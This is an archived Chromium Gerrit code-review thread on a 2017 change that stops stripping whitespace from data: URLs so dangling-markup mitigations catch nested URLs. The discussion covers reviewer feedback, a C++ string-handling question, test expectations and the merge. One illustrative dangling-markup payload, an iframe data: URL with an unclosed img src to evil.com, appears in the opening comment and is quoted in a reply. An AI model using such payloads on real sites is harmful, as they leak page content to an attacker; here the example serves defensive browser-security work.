Stop stripping whitespace from `data:` URLs in //url. [chromium/src : master]

0 views
Skip to first unread message

Mike West (Gerrit)

unread,
Aug 16, 2017, 9:01:50 AM8/16/17
to blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Yoav Weiss, Daniel Cheng, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

Yoav, Daniel, WDYT of this? It changes our URL parsing behavior to stop stripping whitespace from `data:` URLs, which allows us to apply dangling markup protections to the URLs that `data:` URLs might cause to be loaded (e.g. `<iframe src='data:text/html,<img src="http://evil.com/?`). The newlines are still present in the nested URLs when they're parsed, which means we set the `potentially_dangling_markup` flags correctly... We still strip newlines from the `data:` URL in //net, which means the only visible difference will be the result of things like `new URL('data:...')` and console messages.

WDYT?

View Change

    To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

    Gerrit-Project: chromium/src
    Gerrit-Branch: master
    Gerrit-MessageType: comment
    Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
    Gerrit-Change-Number: 616664
    Gerrit-PatchSet: 2
    Gerrit-Owner: Mike West <mk...@chromium.org>
    Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
    Gerrit-Reviewer: Mike West <mk...@chromium.org>
    Gerrit-Reviewer: Yoav Weiss <yo...@yoav.ws>
    Gerrit-CC: Commit Bot <commi...@chromium.org>
    Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
    Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
    Gerrit-Comment-Date: Wed, 16 Aug 2017 13:01:41 +0000
    Gerrit-HasComments: No
    Gerrit-HasLabels: No

    Blink WPT Bot (Gerrit)

    unread,
    Aug 16, 2017, 9:04:17 AM8/16/17
    to Mike West, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Yoav Weiss, Daniel Cheng, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

    Exportable changes to web-platform-tests were detected in this CL and a pull request in the upstream repo has been made: https://github.com/w3c/web-platform-tests/pull/6906.

    If this CL lands and Travis CI upstream is green, we will auto-merge the PR.

    Note: Please check the Travis CI status (at the bottom of the PR) before landing this CL and only land this CL if the status is green. Otherwise a human needs to step in and resolve it manually. (This may be automated in the future, see https://crbug.com/711447)

    WPT Export docs:
    https://chromium.googlesource.com/chromium/src/+/master/docs/testing/web_platform_tests.md#Automatic-export-process

    View Change

      To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

      Gerrit-Project: chromium/src
      Gerrit-Branch: master
      Gerrit-MessageType: comment
      Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
      Gerrit-Change-Number: 616664
      Gerrit-PatchSet: 2
      Gerrit-Owner: Mike West <mk...@chromium.org>
      Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
      Gerrit-Reviewer: Mike West <mk...@chromium.org>
      Gerrit-Reviewer: Yoav Weiss <yo...@yoav.ws>
      Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
      Gerrit-CC: Commit Bot <commi...@chromium.org>
      Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
      Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
      Gerrit-Comment-Date: Wed, 16 Aug 2017 13:04:13 +0000
      Gerrit-HasComments: No
      Gerrit-HasLabels: No

      Daniel Cheng (Gerrit)

      unread,
      Aug 17, 2017, 4:07:47 AM8/17/17
      to Mike West, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Blink WPT Bot, Yoav Weiss, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

      Patch Set 2:

      Yoav, Daniel, WDYT of this? It changes our URL parsing behavior to stop stripping whitespace from `data:` URLs, which allows us to apply dangling markup protections to the URLs that `data:` URLs might cause to be loaded (e.g. `<iframe src='data:text/html,<img src="http://evil.com/?`). The newlines are still present in the nested URLs when they're parsed, which means we set the `potentially_dangling_markup` flags correctly... We still strip newlines from the `data:` URL in //net, which means the only visible difference will be the result of things like `new URL('data:...')` and console messages.

      WDYT?

      This seems like a reasonable change to me. That being said, I'm not very familiar with how this is specced out and don't feel like I can evaluate the layout test. If you point me at the spec / proposal, I can take another look tomorrow.

      View Change

      3 comments:

      To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

      Gerrit-Project: chromium/src
      Gerrit-Branch: master
      Gerrit-MessageType: comment
      Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
      Gerrit-Change-Number: 616664
      Gerrit-PatchSet: 2
      Gerrit-Owner: Mike West <mk...@chromium.org>
      Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
      Gerrit-Reviewer: Mike West <mk...@chromium.org>
      Gerrit-Reviewer: Yoav Weiss <yo...@yoav.ws>
      Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
      Gerrit-CC: Commit Bot <commi...@chromium.org>
      Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
      Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
      Gerrit-Comment-Date: Thu, 17 Aug 2017 08:07:36 +0000
      Gerrit-HasComments: Yes
      Gerrit-HasLabels: No

      Mike West (Gerrit)

      unread,
      Aug 17, 2017, 6:22:02 AM8/17/17
      to blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Daniel Cheng, Blink WPT Bot, Yoav Weiss, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

      Patch Set 2:


      This seems like a reasonable change to me. That being said, I'm not very familiar with how this is specced out and don't feel like I can evaluate the layout test. If you point me at the spec / proposal, I can take another look tomorrow.

      There's no spec yet, just some discussion in https://github.com/whatwg/url/pull/284 where Apple was fundamentally opposed to modifying their URL parser. We're shipping behavior along the lines of those specced in that PR in beta right now; the linked bug is a clever bypass of that first pass using data URLs. Skipping the whitespace-stripping behavior for those URLs seems like a reasonable approach to making the mitigation effective again, but I haven't specced it out.

      Data URLs, for better or worse, aren't well specified. :( It looks like Anne is taking a stab at it in https://github.com/whatwg/fetch/pull/579, though, so maybe it'll be easier to do now than it was earlier. Your feedback on that PR would probably be useful... :)

      View Change

      3 comments:

        • Patch Set #2, Line 50: return GURL(std::string("data:text/html;charset=utf-8,") + stripped_html);

          Is it possible to fix the test here?

        • How about using base::StartsWith from base/strings/string_util. […]

          There must be a simpler way to approach this than what I ended up with, which turned into something like the following (after adding a `typename STR` to the template above, and passing in `std::string`/`base::string16` from the callsites):

          ```
          if (base::StartsWith(base::BasicStringPiece<STR>(input, input_len),
          kDataScheme,
          base::CompareCase::INSENSITIVE_ASCII)) {
          ...
          }

          ```

          That fails to compile because `const char []` can't be converted into a `base::StringPiece16`, and various hacks I've tried haven't been successful. Can you tell me the magic words I'm supposed to have typed? :)

      To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

      Gerrit-Project: chromium/src
      Gerrit-Branch: master
      Gerrit-MessageType: comment
      Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
      Gerrit-Change-Number: 616664
      Gerrit-PatchSet: 2
      Gerrit-Owner: Mike West <mk...@chromium.org>
      Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
      Gerrit-Reviewer: Mike West <mk...@chromium.org>
      Gerrit-Reviewer: Yoav Weiss <yo...@yoav.ws>
      Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
      Gerrit-CC: Commit Bot <commi...@chromium.org>
      Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
      Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
      Gerrit-Comment-Date: Thu, 17 Aug 2017 10:21:56 +0000
      Gerrit-HasComments: Yes
      Gerrit-HasLabels: No

      Daniel Cheng (Gerrit)

      unread,
      Aug 18, 2017, 3:41:48 AM8/18/17
      to Mike West, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Blink WPT Bot, Yoav Weiss, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

      FWIW, my main comment is it it's a bit hard to understand the expected results in the tests. Some comments about what should be and what shouldn't be blocked (or something that would help document the different cases) would be useful.

      Patch set 2:Code-Review +1

      View Change

      1 comment:

        • There must be a simpler way to approach this than what I ended up with, which turned into something […]

          Oh... I missed that this function is templated on CHAR...

          OK I guess this is the best way to do it =/

          Normally I would say that the nice approach would be to use plumb through a BasicStringPiece, but even that would be tricky here (as the string literal would need to have both a 8-bit and 16-bit version)

      To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

      Gerrit-Project: chromium/src
      Gerrit-Branch: master
      Gerrit-MessageType: comment
      Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
      Gerrit-Change-Number: 616664
      Gerrit-PatchSet: 2
      Gerrit-Owner: Mike West <mk...@chromium.org>
      Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
      Gerrit-Reviewer: Mike West <mk...@chromium.org>
      Gerrit-Reviewer: Yoav Weiss <yo...@yoav.ws>
      Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
      Gerrit-CC: Commit Bot <commi...@chromium.org>
      Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
      Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
      Gerrit-Comment-Date: Fri, 18 Aug 2017 07:41:35 +0000
      Gerrit-HasComments: Yes
      Gerrit-HasLabels: Yes

      Blink WPT Bot (Gerrit)

      unread,
      Aug 18, 2017, 6:45:39 AM8/18/17
      to Mike West, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Daniel Cheng, Yoav Weiss, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

      Successfully updated WPT GitHub pull request with new revision "Add TODO": https://github.com/w3c/web-platform-tests/pull/6906

      View Change

        To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

        Gerrit-Project: chromium/src
        Gerrit-Branch: master
        Gerrit-MessageType: comment
        Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
        Gerrit-Change-Number: 616664
        Gerrit-PatchSet: 4
        Gerrit-Owner: Mike West <mk...@chromium.org>
        Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
        Gerrit-Reviewer: Mike West <mk...@chromium.org>
        Gerrit-Reviewer: Yoav Weiss <yo...@yoav.ws>
        Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
        Gerrit-CC: Commit Bot <commi...@chromium.org>
        Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
        Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
        Gerrit-Comment-Date: Fri, 18 Aug 2017 10:45:36 +0000
        Gerrit-HasComments: No
        Gerrit-HasLabels: No

        Mike West (Gerrit)

        unread,
        Aug 21, 2017, 1:04:55 PM8/21/17
        to Evan Stade, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Daniel Cheng, Yoav Weiss

        Mike West would like Evan Stade to review this change.

        View Change

        Stop stripping whitespace from `data:` URLs in //url.

        Whitespace is stripped in `net::DataURL::Parse()`, so this should result
        in no net change in behavior, and will allow us to properly treat URLs
        embedded inside `data:` URLs as potentially dangling markup in some edge
        cases that the original patches missed.

        Bug: 749852
        Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
        ---
        M chrome/browser/autofill/form_structure_browsertest.cc
        M third_party/WebKit/LayoutTests/editing/pasteboard/dragstart-contains-default-content-expected.txt
        A third_party/WebKit/LayoutTests/external/wpt/fetch/security/dangling-markup-mitigation-data-url.tentative.sub.html
        M third_party/WebKit/LayoutTests/external/wpt/fetch/security/dangling-markup-mitigation.tentative.html
        M third_party/WebKit/LayoutTests/fast/files/null-origin-string-expected.txt
        M third_party/WebKit/LayoutTests/http/tests/security/no-indexeddb-from-sandbox-expected.txt
        M third_party/WebKit/LayoutTests/http/tests/security/no-popup-from-sandbox-expected.txt
        M third_party/WebKit/LayoutTests/http/tests/security/no-popup-from-sandbox-top-expected.txt
        M third_party/WebKit/LayoutTests/http/tests/security/popup-allowed-by-sandbox-when-allowed-expected.txt
        M url/url_canon_etc.cc
        10 files changed, 256 insertions(+), 20 deletions(-)


        To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

        Gerrit-Project: chromium/src
        Gerrit-Branch: master
        Gerrit-MessageType: newchange
        Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
        Gerrit-Change-Number: 616664
        Gerrit-PatchSet: 4
        Gerrit-Owner: Mike West <mk...@chromium.org>
        Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
        Gerrit-Reviewer: Evan Stade <est...@chromium.org>

        Mike West (Gerrit)

        unread,
        Aug 21, 2017, 1:04:55 PM8/21/17
        to blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Evan Stade, Daniel Cheng, Blink WPT Bot, Yoav Weiss, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

        I started going through the autofill expectations to update them, but it turns into a pretty big patch as the existing expectations are relying on data URLs stripping out newlines (though that's not actually the point of the tests). It's not clear whether we'll try to merge this change back to beta at this point, so I'd like to keep the patch small.

        estade@: How do you feel about landing the `c/b/autofill/form_structure_browsertest.cc` change, and coming back to update the test file expectations in a future CL? Also: is there an automated way to generate the expectation files, or do I need to go through and update each by hand?

        Patch set 4:Commit-Queue +1

        View Change

          To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

          Gerrit-Project: chromium/src
          Gerrit-Branch: master
          Gerrit-MessageType: comment
          Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
          Gerrit-Change-Number: 616664
          Gerrit-PatchSet: 4
          Gerrit-Owner: Mike West <mk...@chromium.org>
          Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
          Gerrit-Reviewer: Evan Stade <est...@chromium.org>
          Gerrit-Reviewer: Mike West <mk...@chromium.org>
          Gerrit-Reviewer: Yoav Weiss <yo...@yoav.ws>
          Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
          Gerrit-CC: Commit Bot <commi...@chromium.org>
          Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
          Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
          Gerrit-Comment-Date: Mon, 21 Aug 2017 17:04:50 +0000
          Gerrit-HasComments: No
          Gerrit-HasLabels: Yes

          Mike West (Gerrit)

          unread,
          Aug 21, 2017, 1:04:59 PM8/21/17
          to Yoav Weiss, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Evan Stade, Daniel Cheng, Blink WPT Bot, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

          Mike West removed Yoav Weiss from this change.

          View Change

          To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

          Gerrit-Project: chromium/src
          Gerrit-Branch: master
          Gerrit-MessageType: deleteReviewer
          Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
          Gerrit-Change-Number: 616664
          Gerrit-PatchSet: 4
          Gerrit-Owner: Mike West <mk...@chromium.org>
          Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
          Gerrit-Reviewer: Evan Stade <est...@chromium.org>
          Gerrit-Reviewer: Mike West <mk...@chromium.org>

          Daniel Cheng (Gerrit)

          unread,
          Aug 21, 2017, 3:53:37 PM8/21/17
          to Mike West, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Evan Stade, Blink WPT Bot, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

          Patch Set 4: Commit-Queue+1

          I started going through the autofill expectations to update them, but it turns into a pretty big patch as the existing expectations are relying on data URLs stripping out newlines (though that's not actually the point of the tests). It's not clear whether we'll try to merge this change back to beta at this point, so I'd like to keep the patch small.

          estade@: How do you feel about landing the `c/b/autofill/form_structure_browsertest.cc` change, and coming back to update the test file expectations in a future CL? Also: is there an automated way to generate the expectation files, or do I need to go through and update each by hand?

          FWIW, this seems fine with me; we can figure out what to do with the autofill tests in a followup CL. Let's just file a bug for now?

          View Change

            To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

            Gerrit-Project: chromium/src
            Gerrit-Branch: master
            Gerrit-MessageType: comment
            Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
            Gerrit-Change-Number: 616664
            Gerrit-PatchSet: 4
            Gerrit-Owner: Mike West <mk...@chromium.org>
            Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
            Gerrit-Reviewer: Evan Stade <est...@chromium.org>
            Gerrit-Reviewer: Mike West <mk...@chromium.org>
            Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
            Gerrit-CC: Commit Bot <commi...@chromium.org>
            Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
            Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
            Gerrit-Comment-Date: Mon, 21 Aug 2017 19:53:26 +0000
            Gerrit-HasComments: No
            Gerrit-HasLabels: No

            Evan Stade (Gerrit)

            unread,
            Aug 21, 2017, 5:46:09 PM8/21/17
            to Mike West, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Daniel Cheng, Blink WPT Bot, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

            Patch set 4:Code-Review +1

            View Change

            1 comment:

            To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

            Gerrit-Project: chromium/src
            Gerrit-Branch: master
            Gerrit-MessageType: comment
            Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
            Gerrit-Change-Number: 616664
            Gerrit-PatchSet: 4
            Gerrit-Owner: Mike West <mk...@chromium.org>
            Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
            Gerrit-Reviewer: Evan Stade <est...@chromium.org>
            Gerrit-Reviewer: Mike West <mk...@chromium.org>
            Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
            Gerrit-CC: Commit Bot <commi...@chromium.org>
            Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
            Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
            Gerrit-Comment-Date: Mon, 21 Aug 2017 21:46:06 +0000
            Gerrit-HasComments: Yes
            Gerrit-HasLabels: Yes

            Mike West (Gerrit)

            unread,
            Aug 21, 2017, 7:39:38 PM8/21/17
            to blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Evan Stade, Daniel Cheng, Blink WPT Bot, Hiroki Nakagawa, Taiju Tsuiki, Commit Bot, chromium...@chromium.org

            Patch set 4:Commit-Queue +2

            View Change

              To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

              Gerrit-Project: chromium/src
              Gerrit-Branch: master
              Gerrit-MessageType: comment
              Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
              Gerrit-Change-Number: 616664
              Gerrit-PatchSet: 4
              Gerrit-Owner: Mike West <mk...@chromium.org>
              Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
              Gerrit-Reviewer: Evan Stade <est...@chromium.org>
              Gerrit-Reviewer: Mike West <mk...@chromium.org>
              Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
              Gerrit-CC: Commit Bot <commi...@chromium.org>
              Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
              Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
              Gerrit-Comment-Date: Mon, 21 Aug 2017 23:39:32 +0000
              Gerrit-HasComments: No
              Gerrit-HasLabels: Yes

              Commit Bot (Gerrit)

              unread,
              Aug 21, 2017, 7:47:50 PM8/21/17
              to Mike West, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Evan Stade, Daniel Cheng, Blink WPT Bot, Hiroki Nakagawa, Taiju Tsuiki, chromium...@chromium.org

              Commit Bot merged this change.

              View Change

              Approvals: Daniel Cheng: Looks good to me Evan Stade: Looks good to me Mike West: Commit
              Stop stripping whitespace from `data:` URLs in //url.

              Whitespace is stripped in `net::DataURL::Parse()`, so this should result
              in no net change in behavior, and will allow us to properly treat URLs
              embedded inside `data:` URLs as potentially dangling markup in some edge
              cases that the original patches missed.

              Bug: 749852
              Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
              Reviewed-on: https://chromium-review.googlesource.com/616664
              Reviewed-by: Evan Stade <est...@chromium.org>
              Reviewed-by: Daniel Cheng <dch...@chromium.org>
              Commit-Queue: Mike West <mk...@chromium.org>
              Cr-Commit-Position: refs/heads/master@{#496123}

              ---
              M chrome/browser/autofill/form_structure_browsertest.cc
              M third_party/WebKit/LayoutTests/editing/pasteboard/dragstart-contains-default-content-expected.txt
              A third_party/WebKit/LayoutTests/external/wpt/fetch/security/dangling-markup-mitigation-data-url.tentative.sub.html
              M third_party/WebKit/LayoutTests/external/wpt/fetch/security/dangling-markup-mitigation.tentative.html
              M third_party/WebKit/LayoutTests/fast/files/null-origin-string-expected.txt
              M third_party/WebKit/LayoutTests/http/tests/security/no-indexeddb-from-sandbox-expected.txt
              M third_party/WebKit/LayoutTests/http/tests/security/no-popup-from-sandbox-expected.txt
              M third_party/WebKit/LayoutTests/http/tests/security/no-popup-from-sandbox-top-expected.txt
              M third_party/WebKit/LayoutTests/http/tests/security/popup-allowed-by-sandbox-when-allowed-expected.txt
              M url/url_canon_etc.cc
              10 files changed, 256 insertions(+), 20 deletions(-)


              To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

              Gerrit-Project: chromium/src
              Gerrit-Branch: master
              Gerrit-MessageType: merged
              Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
              Gerrit-Change-Number: 616664
              Gerrit-PatchSet: 5
              Gerrit-Owner: Mike West <mk...@chromium.org>
              Gerrit-Reviewer: Commit Bot <commi...@chromium.org>
              Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
              Gerrit-Reviewer: Evan Stade <est...@chromium.org>
              Gerrit-Reviewer: Mike West <mk...@chromium.org>
              Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>

              Blink WPT Bot (Gerrit)

              unread,
              Aug 21, 2017, 7:56:36 PM8/21/17
              to Mike West, Commit Bot, blink-revie...@chromium.org, blink-...@chromium.org, browser-comp...@chromium.org, kinuko+...@chromium.org, mathp+aut...@chromium.org, rogerm+aut...@chromium.org, rouslan+...@chromium.org, sebsg+aut...@chromium.org, vabr+watchl...@chromium.org, Evan Stade, Daniel Cheng, Hiroki Nakagawa, Taiju Tsuiki, chromium...@chromium.org

              The WPT PR for this CL has been merged upstream! https://github.com/w3c/web-platform-tests/pull/6906

              View Change

                To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.

                Gerrit-Project: chromium/src
                Gerrit-Branch: master
                Gerrit-MessageType: comment
                Gerrit-Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
                Gerrit-Change-Number: 616664
                Gerrit-PatchSet: 5
                Gerrit-Owner: Mike West <mk...@chromium.org>
                Gerrit-Reviewer: Commit Bot <commi...@chromium.org>
                Gerrit-Reviewer: Daniel Cheng <dch...@chromium.org>
                Gerrit-Reviewer: Evan Stade <est...@chromium.org>
                Gerrit-Reviewer: Mike West <mk...@chromium.org>
                Gerrit-CC: Blink WPT Bot <blink-w3c-te...@chromium.org>
                Gerrit-CC: Hiroki Nakagawa <nhi...@chromium.org>
                Gerrit-CC: Taiju Tsuiki <tz...@chromium.org>
                Gerrit-Comment-Date: Mon, 21 Aug 2017 23:56:32 +0000
                Gerrit-HasComments: No
                Gerrit-HasLabels: No
                Reply all
                Reply to author
                Forward
                0 new messages